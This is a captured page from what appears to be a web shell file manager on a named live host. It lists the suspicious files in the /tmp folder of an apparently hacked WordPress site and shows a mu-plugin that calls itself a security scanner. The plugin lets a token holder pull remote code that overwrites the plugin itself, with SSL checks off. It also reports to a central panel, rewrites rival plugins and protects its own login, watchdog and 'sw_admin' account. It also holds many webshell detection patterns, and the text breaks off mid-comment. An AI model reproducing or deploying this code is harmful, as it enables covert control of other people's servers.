Linux premium219.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
Server IP : 66.29.141.197 & Your IP : 216.73.216.254
Domains :
Cant Read [ /etc/named.conf ]
User : removmno
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
tmp /
Delete
Unzip
Name
Size
Permission
Date
Action
node-compile-cache
[ DIR ]
drwxr-xr-x
2025-04-10 14:01
.accept
53
B
-rw-r--r--
2026-06-03 08:07
.accepted
52
B
-rw-r--r--
2026-06-03 08:07
.cache
4.46
KB
-rw-r--r--
2026-06-03 08:20
.center
4.47
KB
-rw-r--r--
2026-06-03 08:07
.class
49
B
-rw-r--r--
2026-05-27 13:32
.classes
1.62
KB
-rw-r--r--
2026-06-11 04:41
.config
4.47
KB
-rw-r--r--
2026-05-27 02:47
.content
4.46
KB
-rw-r--r--
2026-05-27 03:32
.created
53
B
-rw-r--r--
2026-06-11 04:41
.db2_convert
1.54
KB
-rw-r--r--
2026-06-03 07:34
.dbx_convert
55
B
-rw-r--r--
2026-06-11 04:40
.flag
1.54
KB
-rw-r--r--
2026-06-04 06:39
.hld
1.54
KB
-rw-r--r--
2026-06-11 02:15
.ibase_pconnection
4.46
KB
-rw-r--r--
2026-05-27 03:32
.include
716
B
-rw-r--r--
2026-06-11 04:40
.lock
51
B
-rw-r--r--
2026-05-27 02:47
.locked
4.06
KB
-rw-r--r--
2026-06-11 04:41
.mb_convert
50
B
-rw-r--r--
2026-06-03 07:34
.multi
9.24
KB
-rw-r--r--
2026-06-11 04:40
.oauthexceptions
53
B
-rw-r--r--
2026-05-27 03:32
.ob_iconv_handle
55
B
-rw-r--r--
2026-06-11 04:40
.parle_tokens
9.24
KB
-rw-r--r--
2026-05-27 00:34
.partition
58
B
-rw-r--r--
2026-06-11 04:41
.post
9.24
KB
-rw-r--r--
2026-06-11 04:40
.rec
4.46
KB
-rw-r--r--
2026-06-03 08:20
.request
52
B
-rw-r--r--
2026-05-27 03:32
.reset
48
B
-rw-r--r--
2026-05-27 00:34
.rfind
4.47
KB
-rw-r--r--
2026-06-03 08:07
.rindex
43
B
-rw-r--r--
2026-05-29 12:11
.sw_fatal
5.36
KB
-rw-r--r--
2026-06-10 13:55
.sys
59
B
-rw-r--r--
2026-05-27 03:32
.system
52
B
-rw-r--r--
2026-05-26 14:08
.uconvert
56
B
-rw-r--r--
2026-06-03 08:20
____040scR
12.25
KB
-rw-------
2026-06-09 12:11
____KyhqhV
12.25
KB
-rw-------
2026-06-09 12:11
____PaMqqp
12.25
KB
-rw-------
2026-06-09 12:11
____SvOJC3
12.25
KB
-rw-------
2026-06-09 12:12
____TclfNp
12.25
KB
-rw-------
2026-06-09 12:11
____ceFyKA
12.25
KB
-rw-------
2026-06-09 12:11
____rAaMTe
12.25
KB
-rw-------
2026-06-09 12:11
____y3YxLh
12.25
KB
-rw-------
2026-06-09 12:12
phpC7rxWH
1008
B
-rw-------
2026-06-09 12:11
phpd2TiNG
1008
B
-rw-------
2026-06-09 12:11
phpoCL7VO
1008
B
-rw-------
2026-06-09 12:11
phpwYcIbM
20.79
KB
-rw-------
2026-05-14 09:18
run_6a2b284138ba8.php
124.4
KB
-rw-r--r--
2026-06-11 21:27
temp_0471009731df2c648b1ccd872b3bc9d9.temp
7.03
KB
-rw-r--r--
2026-05-14 09:22
temp_2aa5eb4ed9521cb0cfe6aa8b865c5dbc.temp
7.03
KB
-rw-r--r--
2026-05-13 07:37
temp_3bdd45bcc2b7a674255699bca1bd8ff6.temp
7.03
KB
-rw-r--r--
2026-05-14 09:16
temp_5a9ba034519673b292c46c82a9e2188c.temp
7.03
KB
-rw-r--r--
2026-05-14 09:01
temp_6283d410d006d15678aab41eec08a958.temp
7.03
KB
-rw-r--r--
2026-05-14 09:27
temp_7d8e04b7c2370e47d922650b3b9406ef.temp
7.03
KB
-rw-r--r--
2026-05-14 09:04
temp_87fc259dadfb0790140ed0acde54b3c0.temp
7.03
KB
-rw-r--r--
2026-05-14 08:34
temp_948a52f5b1ef4afd94cfe5f0e498ae11.temp
7.03
KB
-rw-r--r--
2026-05-15 09:10
temp_a961bfb8c66959fe28296ed60a84f9ea.temp
7.03
KB
-rw-r--r--
2026-05-14 09:25
wp_c_7665e28f.inc
258.19
KB
-rw-r--r--
2026-06-05 14:32
Save
Rename
<?php /** * SERVER-WALL Scanner — WordPress mu-plugin * Drop into: wp-content/mu-plugins/server-wall-scanner.php * Loaded automatically, no activation required. * * Features: * • Scans wp-content for webshells, backdoors, obfuscated code * • Detects recently modified and hidden files * • Reports to central panel every 6 hours via WP Cron * • Remote scan trigger via REST API * • Admin only: /wp-admin/tools.php?page=sw-scanner */ if (!defined('ABSPATH')) exit; // ── Fatal error detection ───────────────────────────────────────────────────── // Registers on every request. On shutdown, if a fatal happened, writes a small // flag file (.sw_fatal) next to this mu-plugin so the panel can read it via // FileManager and diagnose why the site is returning empty responses. // Safe: only writes on actual fatals; never interferes with normal execution. register_shutdown_function(function() { $e = error_get_last(); if (!$e) return; $fatalTypes = [E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR]; if (!in_array($e['type'], $fatalTypes, true)) return; @file_put_contents( __DIR__ . '/.sw_fatal', json_encode([ 't' => time(), 'm' => $e['message'], 'f' => defined('ABSPATH') ? str_replace(ABSPATH, '', $e['file']) : $e['file'], 'l' => $e['line'], ]) ); }); // ── Configuration ───────────────────────────────────────────────────────────── define('SW_VERSION', '0.6.45'); define('SW_PANEL_TOKEN', '0e474294195385b05de0fa50dc5185167f53d01d00b5f064f1e3e86ca809b318'); define('SW_SESSION_ID', md5(get_site_url() . php_uname('n'))); // Signals to the backup plugin in plugins/ that this mu-plugin is already running. // The backup plugin checks this constant and goes silent to avoid any conflicts. define('SW_SCANNER_LOADED', true); // ── Mu-plugin self-protection — runs before other mu-plugins are loaded ─────── // Neutralizes known malware mu-plugins in the same directory so they cannot // call exit() or interfere with WordPress loading. Runs on every request; // kept minimal (file_exists + strlen guard) to avoid performance impact. (static function () { $muDir = dirname(__FILE__); $harmful = ['teknocore.php', 'teknocore2.php', 'php-opcache-mgr.php']; foreach ($harmful as $name) { $path = $muDir . '/' . $name; if (!file_exists($path)) continue; $c = @file_get_contents($path); if ($c === false) continue; // Neutralize if: original malware (any size >20b) OR exit-stub that breaks WP. // Our own stub is the only exception: "neutralized by SERVER-WALL" comment (no exit). $hasExit = strpos($c, 'exit') !== false; $isOurStub = strpos($c, 'neutralized by SERVER-WALL') !== false; if (!$isOurStub && ($hasExit || strlen($c) > 20)) { @file_put_contents($path, '<?php // neutralized by SERVER-WALL ' . date('Y-m-d')); } } })(); // ── Early handler — runs at mu-plugin load time, before plugins/themes ──────── // Handles plugin_update without WP REST classes so a crashing plugin/theme // cannot prevent us from pushing a new plugin version. All other actions fall // through to handleDirectRequest on the init hook below. if (isset($_GET['sw_p']) && php_sapi_name() !== 'cli') { $_sw_tok = isset($_SERVER['HTTP_X_SW_TRIGGER_TOKEN']) ? $_SERVER['HTTP_X_SW_TRIGGER_TOKEN'] : ''; if ($_sw_tok && hash_equals(SW_PANEL_TOKEN, $_sw_tok)) { $_sw_body = json_decode((string)file_get_contents('php://input'), true) ?: []; if (($_sw_body['sw_action'] ?? '') === 'plugin_update') { $_sw_content = ''; if (!empty($_sw_body['sw_body']['content'])) { // Legacy inline mode: full base64 content in request body. $_sw_content = (string)base64_decode($_sw_body['sw_body']['content'], true); } elseif (!empty($_sw_body['sw_body']['pull_url'])) { // Pull mode: fetch from panel URL — tiny payload, no PHP post_max_size issues. // Inline fetch to avoid declaring a global function (causes Cannot-redeclare // fatal on servers that load mu-plugins more than once in the same process). $_sw_url = (string)$_sw_body['sw_body']['pull_url']; if (ini_get('allow_url_fopen')) { $_sw_ctx = stream_context_create(['http' => ['timeout' => 30, 'ignore_errors' => true], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false]]); $_sw_content = (string)@file_get_contents($_sw_url, false, $_sw_ctx); } if (strlen($_sw_content) < 100 && function_exists('curl_init')) { $_sw_ch = curl_init($_sw_url); curl_setopt_array($_sw_ch, [CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_FOLLOWLOCATION => true]); $_sw_content = (string)curl_exec($_sw_ch); curl_close($_sw_ch); } } if ($_sw_content && strlen($_sw_content) > 100) { @unlink(__FILE__); $_sw_written = file_put_contents(__FILE__, $_sw_content); if ($_sw_written === false || $_sw_written < 100) { header('Content-Type: application/json'); echo json_encode(['ok' => false, 'error' => 'write failed — check file permissions']); exit; } @chmod(__FILE__, 0644); if (function_exists('opcache_invalidate')) @opcache_invalidate(__FILE__, true); if (function_exists('opcache_reset')) @opcache_reset(); header('Content-Type: application/json'); echo json_encode(['ok' => true, 'early' => true, 'size' => $_sw_written]); exit; } } } } // ── Bootstrap ───────────────────────────────────────────────────────────────── add_action('admin_menu', ['SW_Scanner', 'addMenu']); add_action('rest_api_init', ['SW_Scanner', 'registerRestRoute']); add_action('admin_post_sw_update', ['SW_Scanner', 'adminPostSelfUpdate']); add_action('init', ['SW_Scanner', 'handleDirectRequest'], 1); // Credential change monitoring add_action('profile_update', ['SW_Scanner', 'onProfileUpdate'], 10, 2); add_action('after_password_reset', ['SW_Scanner', 'onPasswordReset'], 10, 2); add_action('user_register', ['SW_Scanner', 'onUserRegister']); add_action('deleted_user', ['SW_Scanner', 'onUserDeleted'], 10, 3); // Auto-scan cron disabled in v0.6.35 — hardening is now triggered only manually // from the panel. Clear any leftover schedule from previous versions so cron // stops firing on upgrade. Idempotent: no-op if no event was scheduled. if (wp_next_scheduled('sw_auto_scan_hook')) { wp_clear_scheduled_hook('sw_auto_scan_hook'); } // ── WP-Cron: auto-hardening every 6 hours (v0.6.42+) ───────────────────────── // Runs the same cleanup actions as HardenAuto from the panel, but self-contained // inside the plugin — no panel trigger needed. A transient lock in runAutoHarden() // prevents concurrent runs. Processes at most 100 spam posts per cron invocation // to stay within PHP execution time limits. add_filter('cron_schedules', function (array $schedules): array { if (!isset($schedules['sw_6hours'])) { $schedules['sw_6hours'] = ['interval' => 6 * HOUR_IN_SECONDS, 'display' => 'Every 6 Hours (SW)']; } return $schedules; }); add_action('sw_auto_harden_hook', ['SW_Scanner', 'runAutoHarden']); if (!wp_next_scheduled('sw_auto_harden_hook')) { wp_schedule_event(time() + 6 * HOUR_IN_SECONDS, 'sw_6hours', 'sw_auto_harden_hook'); } // ── Main class ──────────────────────────────────────────────────────────────── // Guard against "Cannot redeclare class" fatal if another plugin already defined // a class with the same name — we lose functionality but the site stays up. if (!class_exists('SW_Scanner', false)) : class SW_Scanner { // ── Detection rules ─────────────────────────────────────────────────────── private static $rules = [ // Code execution ['id'=>'eval_base64_post', 'sev'=>'CRITICAL', 'score'=>95, 'desc'=>'eval(base64_decode($_POST/GET)) — executes incoming payload', 're'=>'/eval\s*\(\s*base64_decode\s*\(\s*\$_(POST|GET|REQUEST|COOKIE)/i'], ['id'=>'eval_dynamic', 'sev'=>'CRITICAL', 'score'=>85, 'desc'=>'eval() with dynamic content', 're'=>'/eval\s*\(\s*\$[a-zA-Z_]/'], ['id'=>'eval_chain_5plus', 'sev'=>'CRITICAL', 'score'=>90, 'desc'=>'5+ nested eval() calls — wso/sidwso pattern', 're'=>'/eval\s*\(\s*eval\s*\(\s*eval\s*\(\s*eval\s*\(\s*eval/'], ['id'=>'gzinflate_base64', 'sev'=>'HIGH', 'score'=>75, 'desc'=>'gzinflate(base64_decode()) — packed payload', 're'=>'/gzinflate\s*\(\s*(?:str_rot13\s*\()?\s*base64_decode/i'], ['id'=>'strrev_decode_chain', 'sev'=>'HIGH', 'score'=>80, 'desc'=>'strrev+gzinflate+base64 — sidwso decoding chain', 're'=>'/strrev\s*\([^)]*(?:base64_decode|gzinflate)/i'], ['id'=>'assert_eval', 'sev'=>'CRITICAL', 'score'=>90, 'desc'=>'assert() used for code execution — eval detection bypass', 're'=>'/\bassert\s*\(\s*(?:base64_decode|gzinflate|str_rot13|gzdecode)\s*\(/i'], // OS command execution ['id'=>'shell_exec_input', 'sev'=>'CRITICAL', 'score'=>90, 'desc'=>'shell_exec() with user-supplied input', 're'=>'/shell_exec\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)/i'], ['id'=>'system_input', 'sev'=>'CRITICAL', 'score'=>90, 'desc'=>'system()/exec()/passthru() with user-supplied input', 're'=>'/(?:^|[;\s(])(?:system|exec|passthru|popen)\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)/i'], ['id'=>'preg_replace_e', 'sev'=>'CRITICAL', 'score'=>85, 'desc'=>'preg_replace with /e modifier — code execution', 're'=>'/preg_replace\s*\(\s*[\'"][^"\']*\/e[\'"][^,]*,\s*\$_(GET|POST|REQUEST)/i'], // Obfuscation ['id'=>'global_func_alias', 'sev'=>'HIGH', 'score'=>70, 'desc'=>'Global alias to assert/eval via string concatenation', 're'=>'/\$\w+\s*=\s*[\'"][a-z]{1,3}[\'"]\s*\.\s*[\'"][a-z]{1,3}[\'"]\s*\.\s*[\'"][a-z]{1,3}[\'"]/'], ['id'=>'hexbin_integers', 'sev'=>'HIGH', 'score'=>65, 'desc'=>'hex2bin / chr(0xNN) encoding of function names', 're'=>'/chr\s*\(\s*0x[0-9a-f]{2}\s*\)\s*\.\s*chr\s*\(\s*0x[0-9a-f]{2}/i'], ['id'=>'variable_func_call', 'sev'=>'HIGH', 'score'=>65, 'desc'=>'Variable function call $var($arg) with user input', 're'=>'/\$[a-zA-Z_]\w*\s*\(\s*\$_(GET|POST|REQUEST|COOKIE|SERVER)/'], // File operations ['id'=>'file_write_input', 'sev'=>'CRITICAL', 'score'=>85, 'desc'=>'file_put_contents() with path/content from request', 're'=>'/file_put_contents\s*\(\s*\$_(GET|POST|REQUEST)/i'], ['id'=>'move_uploaded', 'sev'=>'HIGH', 'score'=>70, 'desc'=>'move_uploaded_file with $_FILES data — unvalidated upload', 're'=>'/move_uploaded_file\s*\([^;]*\$_(FILES|REQUEST|POST|GET)/i'], ['id'=>'fwrite_input', 'sev'=>'HIGH', 'score'=>65, 'desc'=>'fwrite() with data from request', 're'=>'/fwrite\s*\(\s*\$\w+\s*,\s*\$_(GET|POST|REQUEST)/i'], // Network operations ['id'=>'curl_to_exec', 'sev'=>'CRITICAL', 'score'=>85, 'desc'=>'curl_exec + eval/shell_exec — download and execute', 're'=>'/curl_exec\s*\([^;]+(?:eval|shell_exec|system|passthru)\s*\(/is'], ['id'=>'fsockopen_connect', 'sev'=>'HIGH', 'score'=>70, 'desc'=>'fsockopen() — direct network connection from user input', 're'=>'/fsockopen\s*\(\s*\$_(GET|POST|REQUEST)/i'], // Backdoor signatures ['id'=>'wso_signature', 'sev'=>'CRITICAL', 'score'=>95, 'desc'=>'WSO webshell signature', 're'=>'/(?:FilesMan|wso_|WSO\s+\d|\$auth_pass\s*=|uname\s*-a.*uid=)/i'], ['id'=>'c99_signature', 'sev'=>'CRITICAL', 'score'=>95, 'desc'=>'c99/r57 webshell signature', 're'=>'/(?:c99shell|r57shell|\$_c99sh_|safe_mode_bypass)/i'], ['id'=>'base64_post_direct', 'sev'=>'CRITICAL', 'score'=>90, 'desc'=>'Direct eval of incoming base64 data', 're'=>'/(?:eval|assert)\s*\(\s*(?:gzuncompress|gzinflate|str_rot13|gzdecode)?\s*\(?\s*base64_decode\s*\(\s*\$_(POST|GET|REQUEST)/i'], // SEO doorway ['id'=>'doorway_markers', 'sev'=>'HIGH', 'score'=>75, 'desc'=>'k:start/k:end doorway markers — SEO content injection', 're'=>'/k:start|k:end/'], ['id'=>'casino_redirect', 'sev'=>'HIGH', 'score'=>70, 'desc'=>'Redirect to casino/betting domain', 're'=>'/header\s*\(\s*[\'"]Location:[^"\']*(?:casino|poker|slot|bet|gambling)/i'], // Web file manager / backdoor uploader patterns ['id'=>'curl_download_write', 'sev'=>'CRITICAL', 'score'=>88, 'desc'=>'curl_exec() result saved via file_put_contents() — remote payload dropper', 're'=>'/curl_exec\s*\(\$\w+\).{0,400}file_put_contents/is'], ['id'=>'post_file_ops', 'sev'=>'HIGH', 'score'=>75, 'desc'=>'POST action dispatch to file write/upload — unauthenticated file manager', 're'=>'/\$_POST\s*\[[\'"]action[\'"]\].{0,1000}(?:file_put_contents|move_uploaded_file)/is'], ['id'=>'html_filemanager', 'sev'=>'HIGH', 'score'=>72, 'desc'=>'HTML-embedded file manager title — web-accessible file manager backdoor', 're'=>'/<title>[^<]{0,60}(?:file\s*manager|advanced\s*file|web\s*shell)[^<]*<\/title>/i'], // WSO/xleet variants (batch 2026-05-06) ['id'=>'wso_blockchar_vars', 'sev'=>'CRITICAL', 'score'=>95, 'desc'=>'WSO webshell — Unicode block-character variable names (evasion variant)', 're'=>'/\$[\x{2598}\x{2599}\x{259A}\x{259B}\x{259C}]/u'], ['id'=>'wso_cookie_auth', 'sev'=>'CRITICAL', 'score'=>90, 'desc'=>'WSO cookie auth pattern — md5(HTTP_HOST)."key"', 're'=>'/md5\s*\(\s*\$_SERVER\s*\[\s*[\'"]HTTP_HOST[\'"]\s*\]\s*\)\s*\.\s*[\'"]key[\'"]/',], ['id'=>'xleet_marker', 'sev'=>'CRITICAL', 'score'=>95, 'desc'=>'xleet backdoor — hardcoded password comment marker', 're'=>'/\/\/\s*Pass\s*:\s*xleet/i'], ['id'=>'assembled_b64decode', 'sev'=>'CRITICAL', 'score'=>88, 'desc'=>'Assembled base64_decode via string concat + eval — xleet/obfuscated loader', 're'=>'/[\'"]ba[\'"]\s*\.\s*[\'"]se[\'"].*eval\s*\(|eval\s*\(.*[\'"]ba[\'"]\s*\.\s*[\'"]se[\'"]/is'], // Credential harvesting ['id'=>'smtp_env_harvester', 'sev'=>'CRITICAL', 'score'=>88, 'desc'=>'SMTP credential harvester — shell find .env files for mail credentials', 're'=>'/find\s+[^\n\'";]{0,60}[\'"]\.env[\'"].*MAIL_(?:HOST|USERNAME|PASSWORD)|MAIL_(?:HOST|USERNAME|PASSWORD).*find\s+[^\n\'";]{0,60}[\'"]\.env[\'"]/is'], // Obfuscation techniques ['id'=>'goto_obfuscation', 'sev'=>'HIGH', 'score'=>82, 'desc'=>'goto-based code obfuscation — multiple goto labels to hide control flow', 're'=>'/goto\s+\w+\s*;[^;]{0,150}goto\s+\w+\s*;[^;]{0,150}goto\s+\w+\s*;[^;]{0,150}goto\s+\w+\s*;/s'], ['id'=>'hex2bin_obfuscation', 'sev'=>'HIGH', 'score'=>72, 'desc'=>'hex2bin mass string obfuscation — function names hidden as hex literals', 're'=>'/hex2bin\s*\(\s*\'[0-9a-f]{6,}\'\s*\).{0,300}hex2bin\s*\(\s*\'[0-9a-f]{6,}\'/is'], ['id'=>'eval_pack_obfuscation','sev'=>'HIGH', 'score'=>82, 'desc'=>'eval(pack("H*",...)) — hex-packed payload execution', 're'=>'/eval\s*\([^;)]{0,150}pack\s*\(\s*[\'"]H\*/is'], ['id'=>'bom_php_evasion', 'sev'=>'HIGH', 'score'=>75, 'desc'=>'UTF-8 BOM before PHP open tag — scanner evasion via BOM prefix', 're'=>'/^\xef\xbb\xbf\s*<\?(?:php|PHP|Php)/'], // CSS-hidden SEO link injector (sunrise-N.php family, 2026-05-14) ['id'=>'css_hidden_links', 'sev'=>'HIGH', 'score'=>78, 'desc'=>'CSS-hidden SEO links — position:fixed with large negative top offset', 're'=>'/position\s*:\s*fixed[^;}]{0,80}top\s*:\s*-\d{4,}px/i'], // XML-RPC force-enable (wp-compatibility-layer.php, 2026-05-14) ['id'=>'xmlrpc_force_true', 'sev'=>'HIGH', 'score'=>80, 'desc'=>'Force XML-RPC enabled via filter — persistence for credential attacks', 're'=>'/add_filter\s*\(\s*(?:\'xmlrpc_enabled\'|"xmlrpc_enabled"|base64_decode\s*\([\'"][A-Za-z0-9+\/=]{20,}[\'"]\))\s*,\s*(?:\'__return_true\'|"__return_true"|base64_decode\s*\()/i'], // Eval from WordPress option (WordfenceSecurity.php family, 2026-05-14) ['id'=>'eval_get_option', 'sev'=>'CRITICAL', 'score'=>95, 'desc'=>'eval(get_option()) — payload stored in DB, PHP file looks clean', 're'=>'/@?eval\s*\(\s*(?:base64_decode\s*\(\s*)?get_option\s*\(/i'], // phar:// stream wrapper in PHP (loader for ZIP payloads in uploads, 2026-05-14) ['id'=>'phar_stream_php', 'sev'=>'HIGH', 'score'=>78, 'desc'=>'phar:// stream wrapper — loading PHP from ZIP archive in uploads', 're'=>'/phar\s*:\/\/[^"\']{0,200}(?:uploads|tmp|cache)/i'], // Plugin hiding itself from plugins list (stealth backdoor family, 2026-05-14) ['id'=>'plugin_self_hide', 'sev'=>'HIGH', 'score'=>82, 'desc'=>'Plugin hiding itself from all_plugins list — stealth backdoor persistence', 're'=>'/add_filter\s*\(\s*[\'"]all_plugins[\'"]\s*,[^;)]{0,200}plugin_basename\s*\(\s*__FILE__\s*\)/i'], // Admin account creator + role setter in same file (stealth backdoor, 2026-05-14) ['id'=>'admin_creator_hidden','sev'=>'CRITICAL', 'score'=>95, 'desc'=>'wp_create_user + set_role(administrator) + hide from user query — stealth admin backdoor', 're'=>'/wp_create_user.{0,500}set_role\s*\(\s*[\'"]administrator[\'"]\s*\)/is'], // pre_user_query hiding a specific user from WP admin panel (2026-05-14) ['id'=>'user_query_hide', 'sev'=>'CRITICAL', 'score'=>90, 'desc'=>'pre_user_query hook to hide a user — stealth admin persistence', 're'=>'/add_action\s*\(\s*[\'"]pre_user_query[\'"]\s*,.{0,300}user_login\s*!=\s*[\'"][^"\']{3,}[\'"]/is'], // Execute-and-destroy webshell (677-byte family, 2026-05-14) ['id'=>'execute_destroy_shell','sev'=>'CRITICAL','score'=>95, 'desc'=>'Execute-and-destroy webshell — writes to tempnam, includes, then unlinks', 're'=>'/tempnam\s*\([^)]{0,100}\)[^;]{0,300}@?include[^;]{0,100}@?unlink/is'], // Character-shift cipher obfuscation (custom_file_* backdoor, 2026-05-14) ['id'=>'char_shift_cipher', 'sev'=>'HIGH', 'score'=>80, 'desc'=>'Character-shift cipher obfuscation — chr(ord($x) - N) decoding loop', 're'=>'/foreach\s*\(\s*str_split\s*\([^)]{0,60}\)\s*as[^)]{0,60}\)\s*\{[^}]{0,200}chr\s*\(\s*ord\s*\(/is'], // Simple file-upload webshell (backup.php, 255b, 2026-05-14) ['id'=>'upload_form_shell', 'sev'=>'CRITICAL', 'score'=>92, 'desc'=>'File-upload webshell — HTML form + copy($_FILES) in PHP file', 're'=>'/is_uploaded_file\s*\(\s*\$_FILES[^;]{0,200}@?copy\s*\(\s*\$_FILES/is'], // AWG Sentinel — counter-plugin that actively deletes sw_admin (2026-06-04) ['id'=>'awg_sentinel', 'sev'=>'CRITICAL', 'score'=>95, 'desc'=>'AWG Sentinel counter-plugin — removes non-whitelisted admins including sw_admin on every request', 're'=>'/AWG_Sentinel\s*::\s*boot\s*\(|_awg_oid|_awg_sid|_awg_incident_log/i'], // goto-TDS redirect — bot cloaking with goto obfuscation + C2 redirect (2026-06-04) ['id'=>'goto_tds_redirect', 'sev'=>'HIGH', 'score'=>88, 'desc'=>'goto-TDS bot-cloaking redirect — bots get 404, real users redirected to C2 via indexnew.php', 're'=>'/\bgoto\s+\w+\s*;.{0,2000}indexnew\.php/si'], // pack('H*',...) building function names from hex fragments (2026-06-04) ['id'=>'pack_hex_funcbuild', 'sev'=>'HIGH', 'score'=>82, 'desc'=>"pack('H*',...) concat — assembles function names (eval/preg_replace) from hex fragments to evade static analysis", 're'=>'/pack\s*\(\s*[\'"]H\*[\'"][^;]{0,300}\.\s*\$[a-z]/i'], // tempnam + sys_get_temp_dir — fileless payload loader (2026-06-04) ['id'=>'tempnam_sys_tmpdir', 'sev'=>'HIGH', 'score'=>80, 'desc'=>'tempnam(sys_get_temp_dir()) — writes decoded payload to /tmp for fileless execution', 're'=>'/tempnam\s*\([^;]{0,50}sys_get_temp_dir\s*\(/i'], // wp_set_auth_cookie + wp_set_current_user via GET — passwordless login backdoor (2026-06-04) ['id'=>'auth_cookie_bypass', 'sev'=>'CRITICAL', 'score'=>92, 'desc'=>'wp_set_auth_cookie+wp_set_current_user triggered by GET param — passwordless login backdoor', 're'=>'/\$_GET.{0,300}wp_set_(?:auth_cookie|current_user).{0,300}wp_set_(?:current_user|auth_cookie)/is'], // Blockchain RPC payload loader — fetches PHP payload via Polygon eth_call (2026-06-04) // C2 is a smart contract address on Polygon — domain can't be blocked by conventional blocklists. ['id'=>'blockchain_rpc_loader','sev'=>'HIGH', 'score'=>85, 'desc'=>'Blockchain RPC payload loader — fetches eval payload via Polygon eth_call (C2 = smart contract, unblocklable)', 're'=>'/(?:polygon\.drpc\.org|polygon\.publicnode\.com|eth_call).{0,500}(?:base64_decode|eval\s*\()/is'], // HTTP header-based RCE — eval($_SERVER['HTTP_XXXX']) uses a custom request header as payload (2026-06-05) // Seen in wp-config.php and mu-plugins; header name is a random hash (e.g. HTTP_7A11034). ['id'=>'http_header_rce', 'sev'=>'CRITICAL', 'score'=>92, 'desc'=>'eval($_SERVER[HTTP_*]) — HTTP request header used as RCE vector (wp-config/mu-plugin backdoor)', 're'=>'/eval\s*\(\s*\$_SERVER\s*\[\s*[\'"]HTTP_[0-9A-Z_]+[\'"]\s*\]/i'], // cURL TDS cloaker — fetches remote URL, inspects User-Agent, redirects humans to casino/ad (2026-06-05) // Casino proxy: returns empty to bots, Location redirect to C2 for real browsers. ['id'=>'curl_ua_redirect', 'sev'=>'HIGH', 'score'=>75, 'desc'=>'cURL UA-based redirect cloaker — fetch+HTTP_USER_AGENT+Location redirect (TDS casino proxy)', 're'=>'/(?:HTTP_USER_AGENT.{0,800}curl_exec|curl_exec.{0,800}HTTP_USER_AGENT).{0,800}header\s*\(\s*[\'"]Location:/is'], // echo+base64_decode inline JS injector — injects obfuscated script into page output (2026-06-05) // Uses is_admin() check to only fire on frontend; base64 encodes the full JS payload. ['id'=>'echo_b64_script', 'sev'=>'HIGH', 'score'=>82, 'desc'=>'echo+base64_decode JS injector — outputs obfuscated <script> via base64_decode in plugin context', 're'=>'/\becho\b.{0,200}base64_decode\s*\(\s*[\'"][A-Za-z0-9+\/=]{100,}[\'"]\s*\)/is'], // Site Optimizer REST API backdoor — secret-keyed remote execution endpoint (2026-06-05) // Registers /site-optimizer/v1/ REST route authenticated by SITE_OPTIMIZER_SECRET constant. ['id'=>'site_optimizer_rest', 'sev'=>'CRITICAL', 'score'=>88, 'desc'=>'Site Optimizer REST API backdoor — SITE_OPTIMIZER_SECRET-authenticated remote code execution endpoint', 're'=>'/(?:SITE_OPTIMIZER_SECRET|site-optimizer\/v1)/i'], // HTML gambling/spam page disguised as .php file — <!DOCTYPE html> with casino content, no PHP (2026-06-05) // Attackers place pure HTML casino pages named .php to bypass file-type filters. ['id'=>'html_gambling_as_php', 'sev'=>'MEDIUM', 'score'=>68, 'desc'=>'HTML gambling page masquerading as PHP file — <!DOCTYPE html> + casino keywords in .php file', 're'=>'/^\s{0,5}<!DOCTYPE\s+html.{0,3000}(?:casino|poker|slot\b|mostbet|1xbet|bet365|gambling|bookmaker)/is'], ]; private static $scanExt = ['php','php3','php4','php5','php7','phtml','phar']; // ── Admin menu ──────────────────────────────────────────────────────────── public static function addMenu(): void { add_management_page( 'SERVER-WALL Scanner', 'SERVER-WALL', 'manage_options', 'sw-scanner', ['SW_Scanner', 'renderPage'] ); } // ── Scan (timeout-safe) ─────────────────────────────────────────────────── public static function runScan(string $mode = 'quick'): array { @set_time_limit(300); @ini_set('memory_limit', '256M'); $start = microtime(true); $timeLimit = 55; if ($mode === 'quick') { $dirs = [ WP_CONTENT_DIR . '/uploads', WP_CONTENT_DIR . '/mu-plugins', WP_CONTENT_DIR . '/plugins', WP_CONTENT_DIR . '/themes', WP_CONTENT_DIR . '/cache', ]; $files = []; foreach ($dirs as $d) { if (is_dir($d)) $files = array_merge($files, self::collectFiles($d)); } } else { $files = self::collectFiles(WP_CONTENT_DIR); } // Always include non-WP-core PHP files in ABSPATH root (both quick and full modes). // Attackers often place binary-obfuscated shells in the webroot where wp-content scans miss them. $files = array_merge($files, self::collectRootPhpFiles()); $findings = []; $scanned = 0; $truncated = false; foreach ($files as $path) { if ((microtime(true) - $start) > $timeLimit) { $truncated = true; break; } $r = self::scanFile($path); if ($r) $findings[] = $r; $scanned++; } $elapsed = (int)((microtime(true) - $start) * 1000); // DB scan — runs if more than 5 s remain in the time budget. $dbFindings = []; if ((microtime(true) - $start) < ($timeLimit - 5)) { $dbFindings = self::runDbScan($timeLimit - (microtime(true) - $start) - 1); } $result = [ 'results' => $findings, 'scanned' => $scanned, 'total' => count($files), 'time' => time(), 'mode' => $mode, 'truncated' => $truncated, 'duration_ms' => (int)((microtime(true) - $start) * 1000), 'db_findings' => $dbFindings, ]; self::sendReport($result); return $result; } private static function isWhitelisted(string $path): bool { // Always skip the scanner itself (regardless of filename). if ($path === __FILE__) return true; $norm = str_replace('\\', '/', $path); // Standard vendor / WP core paths. if (preg_match('#/vendor/|/vendor-dist/|/vendor-prod/|/node_modules/|/vendor_prefixed/#', $norm)) return true; if (preg_match('#wp-includes/class-wp-|wp-admin/includes/#', $norm)) return true; // ── Our own files — never flag as malware ──────────────────────────── $base = basename($norm); // Recovery login file — unique name, only created by us. if ($base === 'sw_recovery.php') return true; // Watchdog loader — unique name, only created by us. if ($base === 'wp-compat-helper.php') return true; // wp-security-tool plugin loader (plugins/ directory variant). if ($base === 'wp-security-tool.php' && strpos($norm, '/wp-security-tool/') !== false) return true; // Google SEO manager tool — deployed by us in 